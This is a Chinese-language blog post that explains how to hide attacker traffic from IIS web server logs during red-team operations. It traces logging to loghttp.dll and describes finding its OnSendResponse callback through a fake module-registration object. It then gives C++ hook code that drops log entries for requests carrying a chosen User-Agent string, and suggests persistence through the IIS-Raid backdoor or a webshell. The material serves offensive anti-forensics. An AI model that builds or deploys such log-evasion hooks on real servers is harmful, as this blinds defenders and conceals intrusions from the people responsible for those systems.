IIS日志隐藏

在攻防对抗过程中,为了防止蓝队从IIS日志中分析到有用的信息,需要对IIS特定日志进行隐藏。

定位写日志逻辑

通过Process Monitor查看

可以看到日志文件实际是由system进程,确切的说是由http.sys模块创建,并写入。

http.sys是windows处理http相关请求的模块,http.sys是一个内核模块,

如果我们要去修改,这几乎是不可能,实施成本太高了,线索似乎就断了。

processmon

IIS native 模块

IIS的基本流程如图,可以看到HTTP Logging属于Native模块

flow

loghttp.dll

最终定位到IIS的日志是由native模块loghttp.dll实现

其路径在C:\Windows\System32\inetsrv\loghttp.dll

iismods

定位日志关键逻辑

在IIS模块中,可通过导出RegisterModule来告诉IIS关心的阶段

IIS通知回调注册

对于一个IIS模块而言,可在RegisterModule中

通过SetRequestNotifications注册不同通知回调来实现特定功能

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#define RQ_BEGIN_REQUEST               0x00000001 // request is beginning 
#define RQ_AUTHENTICATE_REQUEST 0x00000002 // request is being authenticated
#define RQ_AUTHORIZE_REQUEST 0x00000004 // request is being authorized
#define RQ_RESOLVE_REQUEST_CACHE 0x00000008 // satisfy request from cache
#define RQ_MAP_REQUEST_HANDLER 0x00000010 // map handler for request
#define RQ_ACQUIRE_REQUEST_STATE 0x00000020 // acquire request state
#define RQ_PRE_EXECUTE_REQUEST_HANDLER 0x00000040 // pre-execute handler
#define RQ_EXECUTE_REQUEST_HANDLER 0x00000080 // execute handler
#define RQ_RELEASE_REQUEST_STATE 0x00000100 // release request state
#define RQ_UPDATE_REQUEST_CACHE 0x00000200 // update cache
#define RQ_LOG_REQUEST 0x00000400 // log request
#define RQ_END_REQUEST 0x00000800 // end request

#define RQ_CUSTOM_NOTIFICATION 0x10000000 // custom notification
#define RQ_SEND_RESPONSE 0x20000000 // send response
#define RQ_READ_ENTITY 0x40000000 // read entity
#define RQ_MAP_PATH 0x80000000 // map a url to a physical path

一个RegisterModule例子如下,注册RQ_BEGIN_REQUEST之前和之后两个通知回调

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#define _WINSOCKAPI_
#include <windows.h>
#include <sal.h>
#include <httpserv.h>

// Create the module class.
class MyHttpModule : public CHttpModule
{
public:

// Process an RQ_BEGIN_REQUEST event.
REQUEST_NOTIFICATION_STATUS
OnBeginRequest(
IN IHttpContext * pHttpContext,
IN IHttpEventProvider * pProvider
)
{
UNREFERENCED_PARAMETER( pHttpContext );
UNREFERENCED_PARAMETER( pProvider );
WriteEventViewerLog("OnBeginRequest");
return RQ_NOTIFICATION_CONTINUE;
}

// Process an RQ_BEGIN_REQUEST post-event.
REQUEST_NOTIFICATION_STATUS
OnPostBeginRequest(
IN IHttpContext * pHttpContext,
IN IHttpEventProvider * pProvider
)
{
UNREFERENCED_PARAMETER( pHttpContext );
UNREFERENCED_PARAMETER( pProvider );
WriteEventViewerLog("OnPostBeginRequest");
return RQ_NOTIFICATION_CONTINUE;
}

MyHttpModule()
{
// Open a handle to the Event Viewer.
m_hEventLog = RegisterEventSource( NULL,"IISADMIN" );
}

~MyHttpModule()
{
// Test whether the handle for the Event Viewer is open.
if (NULL != m_hEventLog)
{
// Close the handle to the Event Viewer.
DeregisterEventSource( m_hEventLog );
m_hEventLog = NULL;
}
}

private:

// Create a handle for the event viewer.
HANDLE m_hEventLog;

// Define a method that writes to the Event Viewer.
BOOL WriteEventViewerLog(LPCSTR szNotification)
{
// Test whether the handle for the Event Viewer is open.
if (NULL != m_hEventLog)
{
// Write any strings to the Event Viewer and return.
return ReportEvent(
m_hEventLog,
EVENTLOG_INFORMATION_TYPE, 0, 0,
NULL, 1, 0, &szNotification, NULL );
}
return FALSE;
}
};

// Create the module's class factory.
class MyHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT
GetHttpModule(
OUT CHttpModule ** ppModule,
IN IModuleAllocator * pAllocator
)
{
UNREFERENCED_PARAMETER( pAllocator );

// Create a new instance.
MyHttpModule * pModule = new MyHttpModule;

// Test for an error.
if (!pModule)
{
// Return an error if the factory cannot create the instance.
return HRESULT_FROM_WIN32( ERROR_NOT_ENOUGH_MEMORY );
}
else
{
// Return a pointer to the module.
*ppModule = pModule;
pModule = NULL;
// Return a success status.
return S_OK;
}
}

void Terminate()
{
// Remove the class from memory.
delete this;
}
};

// Create the module's exported registration function.
HRESULT
__stdcall
RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo * pModuleInfo,
IHttpServer * pGlobalInfo
)
{
UNREFERENCED_PARAMETER( dwServerVersion );
UNREFERENCED_PARAMETER( pGlobalInfo );

// Set the request notifications and exit.
return pModuleInfo->SetRequestNotifications(
// Specify the class factory.
new MyHttpModuleFactory,
// Specify the event notifications.
RQ_BEGIN_REQUEST,
// Specify the post-event notifications.
RQ_BEGIN_REQUEST
);
}

loghttp.dll 中的注册逻辑

可以看到RegisterModule中注册RQ_SEND_RESPONSE回调,其HttpModuleFactory为CIISModuleFactory

loghttpreg

HttpModuleFactory的作用是通过其GetHttpModule初始化HttpModule

httpmodfactory

在loghttp.dll中,返回this+8,此值可在RegisterModule中看到为&CIISHttpModule::vftable

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__int64 __fastcall CIISModuleFactory::GetHttpModule(
CIISModuleFactory *this, struct CHttpModule **a2, struct IModuleAllocator *a3)
{
*a2 = (CIISModuleFactory *)((char *)this + 8);
return 0i64;
}

所以我们只需要关注CIISHttpModule::OnSendResponse即可,因为loghttp.dll只注册了RQ_SEND_RESPONSE回调

ciis

动态调试确认

通过动态调试,nop掉CIISHttpModule::OnSendResponse发现,日志已不在记录。

注意:猜测由于缓存问题,日志并非立即写入,如果想看到效果可以停止IIS,日志会立即刷新。

定位OnSendResponse函数地址

在IDA中之所以能直接定位OnSendResponse地址,是因为我们加载了符号文件。

但是要工具化,必然不能依赖于符号,或者手动定位。

那如何准确定位其函数地址呢?

可以看到RegisterModule代码中其实包含了CIISHttpModule::vftable

于是思路涌上心头:

  1. 实现一个假的IHttpModuleRegistrationInfo叫MyHttpModuleRegistrationInfo(RegisterModule的第二个参数)

  2. 调用loghttp.dll的RegisterModule,它会主动调用MyHttpModuleRegistrationInfo的SetRequestNotifications函数

  3. 在我们SetRequestNotifications函数中我们可以得到CIISModuleFactory实例

  4. CIISModuleFactory的第一个成员就是CIISHttpModule的虚表

  5. 通过CIISHttpModule的虚表和偏移就得到了CIISHttpModule::OnSendResponse函数

hook并实现过滤日志

如下代码实现了当UA中包含特定字符串时,直接返回,也就不会记录日志了。

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typedef REQUEST_NOTIFICATION_STATUS(NTAPI* pFnOnLogRequest)(
CHttpModule* This, IHttpContext* pHttpContext, IHttpEventProvider* pProvider
);
REQUEST_NOTIFICATION_STATUS MyOnLogRequest(
CHttpModule* This, IHttpContext* pHttpContext, IHttpEventProvider* pProvider) {
USHORT ualen = 0,i=0;
PCSTR ua = pHttpContext->GetRequest()->GetHeader(HttpHeaderUserAgent, &ualen);
if (ua) {
for (; i < ualen; i++) {
if (RtlCompareMemory(&ua[i], "xxxxxx", 12) == 12) {
return RQ_NOTIFICATION_CONTINUE;
}
}
}
return pOldpOnLogRequest(This, pHttpContext, pProvider);
}

持久化

方法1

可以扩展https://github.com/0x09AL/IIS-Raid在权限维持的基础上,也一并实现日志的隐藏。

安装后就可以既保证持久化,又保证权限维持

方法2

可以在webshell中调用LoadLibrary来加载我们隐藏日志的dll

参考资料

https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/introduction-to-iis-architecture
https://docs.microsoft.com/en-us/iis/develop/runtime-extensibility/develop-a-native-cc-module-for-iis
https://docs.microsoft.com/en-us/iis/web-development-reference/native-code-api-reference/request-processing-constants
https://docs.microsoft.com/en-us/iis/web-development-reference/native-code-api-reference/chttpmodule-onbeginrequest-method

文章作者: 半块西瓜皮
文章链接: https://guage.cool/iis-log-hide/
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